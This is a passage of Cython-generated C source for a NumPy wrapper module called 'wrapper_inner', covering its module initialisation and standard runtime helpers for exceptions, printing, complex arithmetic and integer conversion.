PYTHON_API_VERSION);\n  #else\n  __pyx_m = PyModule_Create(&__pyx_moduledef);\n  #endif\n  if (!__pyx_m) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 2; __pyx_clineno = __LINE__; goto __pyx_L1_error;};\n  #if PY_MAJOR_VERSION < 3\n  Py_INCREF(__pyx_m);\n  #endif\n  __pyx_b = PyImport_AddModule(__Pyx_NAMESTR(__Pyx_BUILTIN_MODULE_NAME));\n  if (!__pyx_b) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 2; __pyx_clineno = __LINE__; goto __pyx_L1_error;};\n  if (__Pyx_SetAttrString(__pyx_m, \"__builtins__\", __pyx_b) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 2; __pyx_clineno = __LINE__; goto __pyx_L1_error;};\n  /*--- Initialize various global constants etc. ---*/\n  if (unlikely(__Pyx_InitGlobals() < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 2; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__pyx_module_is_main_wrapper_inner) {\n    if (__Pyx_SetAttrString(__pyx_m, \"__name__\", __pyx_n_s____main__) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 2; __pyx_clineno = __LINE__; goto __pyx_L1_error;};\n  }\n  /*--- Builtin init code ---*/\n  if (unlikely(__Pyx_InitCachedBuiltins() < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 2; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  /*--- Constants init code ---*/\n  if (unlikely(__Pyx_InitCachedConstants() < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 2; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  /*--- Global init code ---*/\n  /*--- Function export code ---*/\n  if (__Pyx_ExportFunction(\"inner_work_1d\", (void (*)(void))inner_work_1d, \"void (int, double *, double *)\") < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 2; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_ExportFunction(\"inner_work_2d\", (void (*)(void))inner_work_2d, \"void (int, int, double *, double *)\") < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 2; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  /*--- Type init code ---*/\n  /*--- Type import code ---*/\n  __pyx_ptype_5numpy_dtype = __Pyx_ImportType(\"numpy\", \"dtype\", sizeof(PyArray_Descr), 0); if (unlikely(!__pyx_ptype_5numpy_dtype)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 149; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_5numpy_flatiter = __Pyx_ImportType(\"numpy\", \"flatiter\", sizeof(PyArrayIterObject), 0); if (unlikely(!__pyx_ptype_5numpy_flatiter)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 159; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_5numpy_broadcast = __Pyx_ImportType(\"numpy\", \"broadcast\", sizeof(PyArrayMultiIterObject), 0); if (unlikely(!__pyx_ptype_5numpy_broadcast)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 163; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_5numpy_ndarray = __Pyx_ImportType(\"numpy\", \"ndarray\", sizeof(PyArrayObject), 0); if (unlikely(!__pyx_ptype_5numpy_ndarray)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 172; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_5numpy_ufunc = __Pyx_ImportType(\"numpy\", \"ufunc\", sizeof(PyUFuncObject), 0); if (unlikely(!__pyx_ptype_5numpy_ufunc)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 849; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  /*--- Function import code ---*/\n  /*--- Execution code ---*/\n\n  /* \"wrapper_inner.pyx\":2\n * \n * import numpy as np             # <<<<<<<<<<<<<<\n * cimport numpy as np\n * \n */\n  __pyx_t_1 = __Pyx_Import(((PyObject *)__pyx_n_s__numpy), 0); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 2; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  if (PyObject_SetAttr(__pyx_m, __pyx_n_s__np, __pyx_t_1) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 2; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n\n  /* \"wrapper_inner.pyx\":5\n * cimport numpy as np\n * \n * np.import_array()             # <<<<<<<<<<<<<<\n * \n * from libcpp.vector cimport vector\n */\n  import_array();\n\n  /* \"wrapper_inner.pyx\":9\n * from libcpp.vector cimport vector\n * \n * import work_module             # <<<<<<<<<<<<<<\n * \n * # Declare any Numpy C-API functions that I want to use.\n */\n  __pyx_t_1 = __Pyx_Import(((PyObject *)__pyx_n_s__work_module), 0); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 9; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  if (PyObject_SetAttr(__pyx_m, __pyx_n_s__work_module, __pyx_t_1) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 9; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n\n  /* \"wrapper_inner.pyx\":64\n * \n * \n * def pure_py_test():             # <<<<<<<<<<<<<<\n * \n *     print('\\nHello from a pure Python function inside the Cython module.')\n */\n  __pyx_t_1 = PyCFunction_NewEx(&__pyx_mdef_13wrapper_inner_pure_py_test, NULL, __pyx_n_s__wrapper_inner); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 64; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  if (PyObject_SetAttr(__pyx_m, __pyx_n_s__pure_py_test, __pyx_t_1) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 64; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n\n  /* \"wrapper_inner.pyx\":2\n * \n * import numpy as np             # <<<<<<<<<<<<<<\n * cimport numpy as np\n * \n */\n  __pyx_t_1 = PyDict_New(); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 2; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(((PyObject *)__pyx_t_1));\n  if (PyObject_SetAttr(__pyx_m, __pyx_n_s____test__, ((PyObject *)__pyx_t_1)) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 2; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_DECREF(((PyObject *)__pyx_t_1)); __pyx_t_1 = 0;\n\n  /* \"libc\\stdio.pxd\":1\n * # 7.19 Input/output <stdio.h>             # <<<<<<<<<<<<<<\n * \n * cdef extern from *:\n */\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  if (__pyx_m) {\n    __Pyx_AddTraceback(\"init wrapper_inner\");\n    Py_DECREF(__pyx_m); __pyx_m = 0;\n  } else if (!PyErr_Occurred()) {\n    PyErr_SetString(PyExc_ImportError, \"init wrapper_inner\");\n  }\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  #if PY_MAJOR_VERSION < 3\n  return;\n  #else\n  return __pyx_m;\n  #endif\n}\n\n/* Runtime support code */\n\nstatic CYTHON_INLINE int __Pyx_TypeTest(PyObject *obj, PyTypeObject *type) {\n    if (unlikely(!type)) {\n        PyErr_Format(PyExc_SystemError, \"Missing type object\");\n        return 0;\n    }\n    if (likely(PyObject_TypeCheck(obj, type)))\n        return 1;\n    PyErr_Format(PyExc_TypeError, \"Cannot convert %.200s to %.200s\",\n                 Py_TYPE(obj)->tp_name, type->tp_name);\n    return 0;\n}\n\nstatic PyObject *__Pyx_GetName(PyObject *dict, PyObject *name) {\n    PyObject *result;\n    result = PyObject_GetAttr(dict, name);\n    if (!result)\n        PyErr_SetObject(PyExc_NameError, name);\n    return result;\n}\n\nstatic CYTHON_INLINE void __Pyx_ErrRestore(PyObject *type, PyObject *value, PyObject *tb) {\n    PyObject *tmp_type, *tmp_value, *tmp_tb;\n    PyThreadState *tstate = PyThreadState_GET();\n\n    tmp_type = tstate->curexc_type;\n    tmp_value = tstate->curexc_value;\n    tmp_tb = tstate->curexc_traceback;\n    tstate->curexc_type = type;\n    tstate->curexc_value = value;\n    tstate->curexc_traceback = tb;\n    Py_XDECREF(tmp_type);\n    Py_XDECREF(tmp_value);\n    Py_XDECREF(tmp_tb);\n}\n\nstatic CYTHON_INLINE void __Pyx_ErrFetch(PyObject **type, PyObject **value, PyObject **tb) {\n    PyThreadState *tstate = PyThreadState_GET();\n    *type = tstate->curexc_type;\n    *value = tstate->curexc_value;\n    *tb = tstate->curexc_traceback;\n\n    tstate->curexc_type = 0;\n    tstate->curexc_value = 0;\n    tstate->curexc_traceback = 0;\n}\n\n\n#if PY_MAJOR_VERSION < 3\nstatic void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb) {\n    Py_XINCREF(type);\n    Py_XINCREF(value);\n    Py_XINCREF(tb);\n    /* First, check the traceback argument, replacing None with NULL. */\n    if (tb == Py_None) {\n        Py_DECREF(tb);\n        tb = 0;\n    }\n    else if (tb != NULL && !PyTraceBack_Check(tb)) {\n        PyErr_SetString(PyExc_TypeError,\n            \"raise: arg 3 must be a traceback or None\");\n        goto raise_error;\n    }\n    /* Next, replace a missing value with None */\n    if (value == NULL) {\n        value = Py_None;\n        Py_INCREF(value);\n    }\n    #if PY_VERSION_HEX < 0x02050000\n    if (!PyClass_Check(type))\n    #else\n    if (!PyType_Check(type))\n    #endif\n    {\n        /* Raising an instance.  The value should be a dummy. */\n        if (value != Py_None) {\n            PyErr_SetString(PyExc_TypeError,\n                \"instance exception may not have a separate value\");\n            goto raise_error;\n        }\n        /* Normalize to raise <class>, <instance> */\n        Py_DECREF(value);\n        value = type;\n        #if PY_VERSION_HEX < 0x02050000\n            if (PyInstance_Check(type)) {\n                type = (PyObject*) ((PyInstanceObject*)type)->in_class;\n                Py_INCREF(type);\n            }\n            else {\n                type = 0;\n                PyErr_SetString(PyExc_TypeError,\n                    \"raise: exception must be an old-style class or instance\");\n                goto raise_error;\n            }\n        #else\n            type = (PyObject*) Py_TYPE(type);\n            Py_INCREF(type);\n            if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) {\n                PyErr_SetString(PyExc_TypeError,\n                    \"raise: exception class must be a subclass of BaseException\");\n                goto raise_error;\n            }\n        #endif\n    }\n\n    __Pyx_ErrRestore(type, value, tb);\n    return;\nraise_error:\n    Py_XDECREF(value);\n    Py_XDECREF(type);\n    Py_XDECREF(tb);\n    return;\n}\n\n#else /* Python 3+ */\n\nstatic void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb) {\n    if (tb == Py_None) {\n        tb = 0;\n    } else if (tb && !PyTraceBack_Check(tb)) {\n        PyErr_SetString(PyExc_TypeError,\n            \"raise: arg 3 must be a traceback or None\");\n        goto bad;\n    }\n    if (value == Py_None)\n        value = 0;\n\n    if (PyExceptionInstance_Check(type)) {\n        if (value) {\n            PyErr_SetString(PyExc_TypeError,\n                \"instance exception may not have a separate value\");\n            goto bad;\n        }\n        value = type;\n        type = (PyObject*) Py_TYPE(value);\n    } else if (!PyExceptionClass_Check(type)) {\n        PyErr_SetString(PyExc_TypeError,\n            \"raise: exception class must be a subclass of BaseException\");\n        goto bad;\n    }\n\n    PyErr_SetObject(type, value);\n\n    if (tb) {\n        PyThreadState *tstate = PyThreadState_GET();\n        PyObject* tmp_tb = tstate->curexc_traceback;\n        if (tb != tmp_tb) {\n            Py_INCREF(tb);\n            tstate->curexc_traceback = tb;\n            Py_XDECREF(tmp_tb);\n        }\n    }\n\nbad:\n    return;\n}\n#endif\n\nstatic CYTHON_INLINE void __Pyx_RaiseNoneNotIterableError(void) {\n    PyErr_SetString(PyExc_TypeError, \"'NoneType' object is not iterable\");\n}\n\nstatic CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index) {\n    PyErr_Format(PyExc_ValueError,\n        #if PY_VERSION_HEX < 0x02050000\n                 \"need more than %d value%s to unpack\", (int)index,\n        #else\n                 \"need more than %zd value%s to unpack\", index,\n        #endif\n                 (index == 1) ? \"\" : \"s\");\n}\n\nstatic CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected) {\n    PyErr_Format(PyExc_ValueError,\n        #if PY_VERSION_HEX < 0x02050000\n            \"too many values to unpack (expected %d)\", (int)expected);\n        #else\n            \"too many values to unpack (expected %zd)\", expected);\n        #endif\n}\n\nstatic void __Pyx_UnpackTupleError(PyObject *t, Py_ssize_t index) {\n    if (t == Py_None) {\n      __Pyx_RaiseNoneNotIterableError();\n    } else if (PyTuple_GET_SIZE(t) < index) {\n      __Pyx_RaiseNeedMoreValuesError(PyTuple_GET_SIZE(t));\n    } else {\n      __Pyx_RaiseTooManyValuesError(index);\n    }\n}\n\nstatic PyObject *__Pyx_Import(PyObject *name, PyObject *from_list) {\n    PyObject *py_import = 0;\n    PyObject *empty_list = 0;\n    PyObject *module = 0;\n    PyObject *global_dict = 0;\n    PyObject *empty_dict = 0;\n    PyObject *list;\n    py_import = __Pyx_GetAttrString(__pyx_b, \"__import__\");\n    if (!py_import)\n        goto bad;\n    if (from_list)\n        list = from_list;\n    else {\n        empty_list = PyList_New(0);\n        if (!empty_list)\n            goto bad;\n        list = empty_list;\n    }\n    global_dict = PyModule_GetDict(__pyx_m);\n    if (!global_dict)\n        goto bad;\n    empty_dict = PyDict_New();\n    if (!empty_dict)\n        goto bad;\n    module = PyObject_CallFunctionObjArgs(py_import,\n        name, global_dict, empty_dict, list, NULL);\nbad:\n    Py_XDECREF(empty_list);\n    Py_XDECREF(py_import);\n    Py_XDECREF(empty_dict);\n    return module;\n}\n\n#if PY_MAJOR_VERSION < 3\nstatic PyObject *__Pyx_GetStdout(void) {\n    PyObject *f = PySys_GetObject((char *)\"stdout\");\n    if (!f) {\n        PyErr_SetString(PyExc_RuntimeError, \"lost sys.stdout\");\n    }\n    return f;\n}\n\nstatic int __Pyx_Print(PyObject* f, PyObject *arg_tuple, int newline) {\n    PyObject* v;\n    int i;\n\n    if (!f) {\n        if (!(f = __Pyx_GetStdout()))\n            return -1;\n    }\n    for (i=0; i < PyTuple_GET_SIZE(arg_tuple); i++) {\n        if (PyFile_SoftSpace(f, 1)) {\n            if (PyFile_WriteString(\" \", f) < 0)\n                return -1;\n        }\n        v = PyTuple_GET_ITEM(arg_tuple, i);\n        if (PyFile_WriteObject(v, f, Py_PRINT_RAW) < 0)\n            return -1;\n        if (PyString_Check(v)) {\n            char *s = PyString_AsString(v);\n            Py_ssize_t len = PyString_Size(v);\n            if (len > 0 &&\n                isspace(Py_CHARMASK(s[len-1])) &&\n                s[len-1] != ' ')\n                    PyFile_SoftSpace(f, 0);\n        }\n    }\n    if (newline) {\n        if (PyFile_WriteString(\"\\n\", f) < 0)\n            return -1;\n        PyFile_SoftSpace(f, 0);\n    }\n    return 0;\n}\n\n#else /* Python 3 has a print function */\n\nstatic int __Pyx_Print(PyObject* stream, PyObject *arg_tuple, int newline) {\n    PyObject* kwargs = 0;\n    PyObject* result = 0;\n    PyObject* end_string;\n    if (unlikely(!__pyx_print)) {\n        __pyx_print = __Pyx_GetAttrString(__pyx_b, \"print\");\n        if (!__pyx_print)\n            return -1;\n    }\n    if (stream) {\n        kwargs = PyDict_New();\n        if (unlikely(!kwargs))\n            return -1;\n        if (unlikely(PyDict_SetItemString(kwargs, \"file\", stream) < 0))\n            goto bad;\n        if (!newline) {\n            end_string = PyUnicode_FromStringAndSize(\" \", 1);\n            if (unlikely(!end_string))\n                goto bad;\n            if (PyDict_SetItemString(kwargs, \"end\", end_string) < 0) {\n                Py_DECREF(end_string);\n                goto bad;\n            }\n            Py_DECREF(end_string);\n        }\n    } else if (!newline) {\n        if (unlikely(!__pyx_print_kwargs)) {\n            __pyx_print_kwargs = PyDict_New();\n            if (unlikely(!__pyx_print_kwargs))\n                return -1;\n            end_string = PyUnicode_FromStringAndSize(\" \", 1);\n            if (unlikely(!end_string))\n                return -1;\n            if (PyDict_SetItemString(__pyx_print_kwargs, \"end\", end_string) < 0) {\n                Py_DECREF(end_string);\n                return -1;\n            }\n            Py_DECREF(end_string);\n        }\n        kwargs = __pyx_print_kwargs;\n    }\n    result = PyObject_Call(__pyx_print, arg_tuple, kwargs);\n    if (unlikely(kwargs) && (kwargs != __pyx_print_kwargs))\n        Py_DECREF(kwargs);\n    if (!result)\n        return -1;\n    Py_DECREF(result);\n    return 0;\nbad:\n    if (kwargs != __pyx_print_kwargs)\n        Py_XDECREF(kwargs);\n    return -1;\n}\n\n#endif\n\n#if PY_MAJOR_VERSION < 3\n\nstatic int __Pyx_PrintOne(PyObject* f, PyObject *o) {\n    if (!f) {\n        if (!(f = __Pyx_GetStdout()))\n            return -1;\n    }\n    if (PyFile_SoftSpace(f, 0)) {\n        if (PyFile_WriteString(\" \", f) < 0)\n            return -1;\n    }\n    if (PyFile_WriteObject(o, f, Py_PRINT_RAW) < 0)\n        return -1;\n    if (PyFile_WriteString(\"\\n\", f) < 0)\n        return -1;\n    return 0;\n    /* the line below is just to avoid compiler\n     * compiler warnings about unused functions */\n    return __Pyx_Print(f, NULL, 0);\n}\n\n#else /* Python 3 has a print function */\n\nstatic int __Pyx_PrintOne(PyObject* stream, PyObject *o) {\n    int res;\n    PyObject* arg_tuple = PyTuple_New(1);\n    if (unlikely(!arg_tuple))\n        return -1;\n    Py_INCREF(o);\n    PyTuple_SET_ITEM(arg_tuple, 0, o);\n    res = __Pyx_Print(stream, arg_tuple, 1);\n    Py_DECREF(arg_tuple);\n    return res;\n}\n\n#endif\n\nstatic CYTHON_INLINE PyObject *__Pyx_PyInt_to_py_Py_intptr_t(Py_intptr_t val) {\n    const Py_intptr_t neg_one = (Py_intptr_t)-1, const_zero = (Py_intptr_t)0;\n    const int is_unsigned = const_zero < neg_one;\n    if ((sizeof(Py_intptr_t) == sizeof(char))  ||\n        (sizeof(Py_intptr_t) == sizeof(short))) {\n        return PyInt_FromLong((long)val);\n    } else if ((sizeof(Py_intptr_t) == sizeof(int)) ||\n               (sizeof(Py_intptr_t) == sizeof(long))) {\n        if (is_unsigned)\n            return PyLong_FromUnsignedLong((unsigned long)val);\n        else\n            return PyInt_FromLong((long)val);\n    } else if (sizeof(Py_intptr_t) == sizeof(PY_LONG_LONG)) {\n        if (is_unsigned)\n            return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG)val);\n        else\n            return PyLong_FromLongLong((PY_LONG_LONG)val);\n    } else {\n        int one = 1; int little = (int)*(unsigned char *)&one;\n        unsigned char *bytes = (unsigned char *)&val;\n        return _PyLong_FromByteArray(bytes, sizeof(Py_intptr_t), \n                                     little, !is_unsigned);\n    }\n}\n\n#if CYTHON_CCOMPLEX\n  #ifdef __cplusplus\n    static CYTHON_INLINE __pyx_t_float_complex __pyx_t_float_complex_from_parts(float x, float y) {\n      return ::std::complex< float >(x, y);\n    }\n  #else\n    static CYTHON_INLINE __pyx_t_float_complex __pyx_t_float_complex_from_parts(float x, float y) {\n      return x + y*(__pyx_t_float_complex)_Complex_I;\n    }\n  #endif\n#else\n    static CYTHON_INLINE __pyx_t_float_complex __pyx_t_float_complex_from_parts(float x, float y) {\n      __pyx_t_float_complex z;\n      z.real = x;\n      z.imag = y;\n      return z;\n    }\n#endif\n\n#if CYTHON_CCOMPLEX\n#else\n    static CYTHON_INLINE int __Pyx_c_eqf(__pyx_t_float_complex a, __pyx_t_float_complex b) {\n       return (a.real == b.real) && (a.imag == b.imag);\n    }\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_sumf(__pyx_t_float_complex a, __pyx_t_float_complex b) {\n        __pyx_t_float_complex z;\n        z.real = a.real + b.real;\n        z.imag = a.imag + b.imag;\n        return z;\n    }\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_difff(__pyx_t_float_complex a, __pyx_t_float_complex b) {\n        __pyx_t_float_complex z;\n        z.real = a.real - b.real;\n        z.imag = a.imag - b.imag;\n        return z;\n    }\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_prodf(__pyx_t_float_complex a, __pyx_t_float_complex b) {\n        __pyx_t_float_complex z;\n        z.real = a.real * b.real - a.imag * b.imag;\n        z.imag = a.real * b.imag + a.imag * b.real;\n        return z;\n    }\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_quotf(__pyx_t_float_complex a, __pyx_t_float_complex b) {\n        __pyx_t_float_complex z;\n        float denom = b.real * b.real + b.imag * b.imag;\n        z.real = (a.real * b.real + a.imag * b.imag) / denom;\n        z.imag = (a.imag * b.real - a.real * b.imag) / denom;\n        return z;\n    }\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_negf(__pyx_t_float_complex a) {\n        __pyx_t_float_complex z;\n        z.real = -a.real;\n        z.imag = -a.imag;\n        return z;\n    }\n    static CYTHON_INLINE int __Pyx_c_is_zerof(__pyx_t_float_complex a) {\n       return (a.real == 0) && (a.imag == 0);\n    }\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_conjf(__pyx_t_float_complex a) {\n        __pyx_t_float_complex z;\n        z.real =  a.real;\n        z.imag = -a.imag;\n        return z;\n    }\n    #if 1\n        static CYTHON_INLINE float __Pyx_c_absf(__pyx_t_float_complex z) {\n          #if !defined(HAVE_HYPOT) || defined(_MSC_VER)\n            return sqrtf(z.real*z.real + z.imag*z.imag);\n          #else\n            return hypotf(z.real, z.imag);\n          #endif\n        }\n        static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_powf(__pyx_t_float_complex a, __pyx_t_float_complex b) {\n            __pyx_t_float_complex z;\n            float r, lnr, theta, z_r, z_theta;\n            if (b.imag == 0 && b.real == (int)b.real) {\n                if (b.real < 0) {\n                    float denom = a.real * a.real + a.imag * a.imag;\n                    a.real = a.real / denom;\n                    a.imag = -a.imag / denom;\n                    b.real = -b.real;\n                }\n                switch ((int)b.real) {\n                    case 0:\n                        z.real = 1;\n                        z.imag = 0;\n                        return z;\n                    case 1:\n                        return a;\n                    case 2:\n                        z = __Pyx_c_prodf(a, a);\n                        return __Pyx_c_prodf(a, a);\n                    case 3:\n                        z = __Pyx_c_prodf(a, a);\n                        return __Pyx_c_prodf(z, a);\n                    case 4:\n                        z = __Pyx_c_prodf(a, a);\n                        return __Pyx_c_prodf(z, z);\n                }\n            }\n            if (a.imag == 0) {\n                if (a.real == 0) {\n                    return a;\n                }\n                r = a.real;\n                theta = 0;\n            } else {\n                r = __Pyx_c_absf(a);\n                theta = atan2f(a.imag, a.real);\n            }\n            lnr = logf(r);\n            z_r = expf(lnr * b.real - theta * b.imag);\n            z_theta = theta * b.real + lnr * b.imag;\n            z.real = z_r * cosf(z_theta);\n            z.imag = z_r * sinf(z_theta);\n            return z;\n        }\n    #endif\n#endif\n\n#if CYTHON_CCOMPLEX\n  #ifdef __cplusplus\n    static CYTHON_INLINE __pyx_t_double_complex __pyx_t_double_complex_from_parts(double x, double y) {\n      return ::std::complex< double >(x, y);\n    }\n  #else\n    static CYTHON_INLINE __pyx_t_double_complex __pyx_t_double_complex_from_parts(double x, double y) {\n      return x + y*(__pyx_t_double_complex)_Complex_I;\n    }\n  #endif\n#else\n    static CYTHON_INLINE __pyx_t_double_complex __pyx_t_double_complex_from_parts(double x, double y) {\n      __pyx_t_double_complex z;\n      z.real = x;\n      z.imag = y;\n      return z;\n    }\n#endif\n\n#if CYTHON_CCOMPLEX\n#else\n    static CYTHON_INLINE int __Pyx_c_eq(__pyx_t_double_complex a, __pyx_t_double_complex b) {\n       return (a.real == b.real) && (a.imag == b.imag);\n    }\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_sum(__pyx_t_double_complex a, __pyx_t_double_complex b) {\n        __pyx_t_double_complex z;\n        z.real = a.real + b.real;\n        z.imag = a.imag + b.imag;\n        return z;\n    }\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_diff(__pyx_t_double_complex a, __pyx_t_double_complex b) {\n        __pyx_t_double_complex z;\n        z.real = a.real - b.real;\n        z.imag = a.imag - b.imag;\n        return z;\n    }\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_prod(__pyx_t_double_complex a, __pyx_t_double_complex b) {\n        __pyx_t_double_complex z;\n        z.real = a.real * b.real - a.imag * b.imag;\n        z.imag = a.real * b.imag + a.imag * b.real;\n        return z;\n    }\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_quot(__pyx_t_double_complex a, __pyx_t_double_complex b) {\n        __pyx_t_double_complex z;\n        double denom = b.real * b.real + b.imag * b.imag;\n        z.real = (a.real * b.real + a.imag * b.imag) / denom;\n        z.imag = (a.imag * b.real - a.real * b.imag) / denom;\n        return z;\n    }\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_neg(__pyx_t_double_complex a) {\n        __pyx_t_double_complex z;\n        z.real = -a.real;\n        z.imag = -a.imag;\n        return z;\n    }\n    static CYTHON_INLINE int __Pyx_c_is_zero(__pyx_t_double_complex a) {\n       return (a.real == 0) && (a.imag == 0);\n    }\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_conj(__pyx_t_double_complex a) {\n        __pyx_t_double_complex z;\n        z.real =  a.real;\n        z.imag = -a.imag;\n        return z;\n    }\n    #if 1\n        static CYTHON_INLINE double __Pyx_c_abs(__pyx_t_double_complex z) {\n          #if !defined(HAVE_HYPOT) || defined(_MSC_VER)\n            return sqrt(z.real*z.real + z.imag*z.imag);\n          #else\n            return hypot(z.real, z.imag);\n          #endif\n        }\n        static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_pow(__pyx_t_double_complex a, __pyx_t_double_complex b) {\n            __pyx_t_double_complex z;\n            double r, lnr, theta, z_r, z_theta;\n            if (b.imag == 0 && b.real == (int)b.real) {\n                if (b.real < 0) {\n                    double denom = a.real * a.real + a.imag * a.imag;\n                    a.real = a.real / denom;\n                    a.imag = -a.imag / denom;\n                    b.real = -b.real;\n                }\n                switch ((int)b.real) {\n                    case 0:\n                        z.real = 1;\n                        z.imag = 0;\n                        return z;\n                    case 1:\n                        return a;\n                    case 2:\n                        z = __Pyx_c_prod(a, a);\n                        return __Pyx_c_prod(a, a);\n                    case 3:\n                        z = __Pyx_c_prod(a, a);\n                        return __Pyx_c_prod(z, a);\n                    case 4:\n                        z = __Pyx_c_prod(a, a);\n                        return __Pyx_c_prod(z, z);\n                }\n            }\n            if (a.imag == 0) {\n                if (a.real == 0) {\n                    return a;\n                }\n                r = a.real;\n                theta = 0;\n            } else {\n                r = __Pyx_c_abs(a);\n                theta = atan2(a.imag, a.real);\n            }\n            lnr = log(r);\n            z_r = exp(lnr * b.real - theta * b.imag);\n            z_theta = theta * b.real + lnr * b.imag;\n            z.real = z_r * cos(z_theta);\n            z.imag = z_r * sin(z_theta);\n            return z;\n        }\n    #endif\n#endif\n\nstatic CYTHON_INLINE unsigned char __Pyx_PyInt_AsUnsignedChar(PyObject* x) {\n    const unsigned char neg_one = (unsigned char)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n    if (sizeof(unsigned char) < sizeof(long)) {\n        long val = __Pyx_PyInt_AsLong(x);\n        if (unlikely(val != (long)(unsigned char)val)) {\n            if (!unlikely(val == -1 && PyErr_Occurred())) {\n                PyErr_SetString(PyExc_OverflowError,\n                    (is_unsigned && unlikely(val < 0)) ?\n                    \"can't convert negative value to unsigned char\" :\n                    \"value too large to convert to unsigned char\");\n            }\n            return (unsigned char)-1;\n        }\n        return (unsigned char)val;\n    }\n    return (unsigned char)__Pyx_PyInt_AsUnsignedLong(x);\n}\n\nstatic CYTHON_INLINE unsigned short __Pyx_PyInt_AsUnsignedShort(PyObject* x) {\n    const unsigned short neg_one = (unsigned short)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n    if (sizeof(unsigned short) < sizeof(long)) {\n        long val = __Pyx_PyInt_AsLong(x);\n        if (unlikely(val != (long)(unsigned short)val)) {\n            if (!unlikely(val == -1 && PyErr_Occurred())) {\n                PyErr_SetString(PyExc_OverflowError,\n                    (is_unsigned && unlikely(val < 0)) ?\n                    \"can't convert negative value to unsigned short\" :\n                    \"value too large to convert to unsigned short\");\n            }\n            return (unsigned short)-1;\n        }\n        return (unsigned short)val;\n    }\n    return (unsigned short)__Pyx_PyInt_AsUnsignedLong(x);\n}\n\nstatic CYTHON_INLINE unsigned int __Pyx_PyInt_AsUnsignedInt(PyObject* x) {\n    const unsigned int neg_one = (unsigned int)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n    if (sizeof(unsigned int) < sizeof(long)) {\n        long val = __Pyx_PyInt_AsLong(x);\n        if (unlikely(val != (long)(unsigned int)val)) {\n            if (!unlikely(val == -1 && PyErr_Occurred())) {\n                PyErr_SetString(PyExc_OverflowError,\n                    (is_unsigned && unlikely(val < 0)) ?\n                    \"can't convert negative value to unsigned int\" :\n                    \"value too large to convert to unsigned int\");\n            }\n            return (unsigned int)-1;\n        }\n        return (unsigned int)val;\n    }\n    return (unsigned int)__Pyx_PyInt_AsUnsignedLong(x);\n}\n\nstatic CYTHON_INLINE char 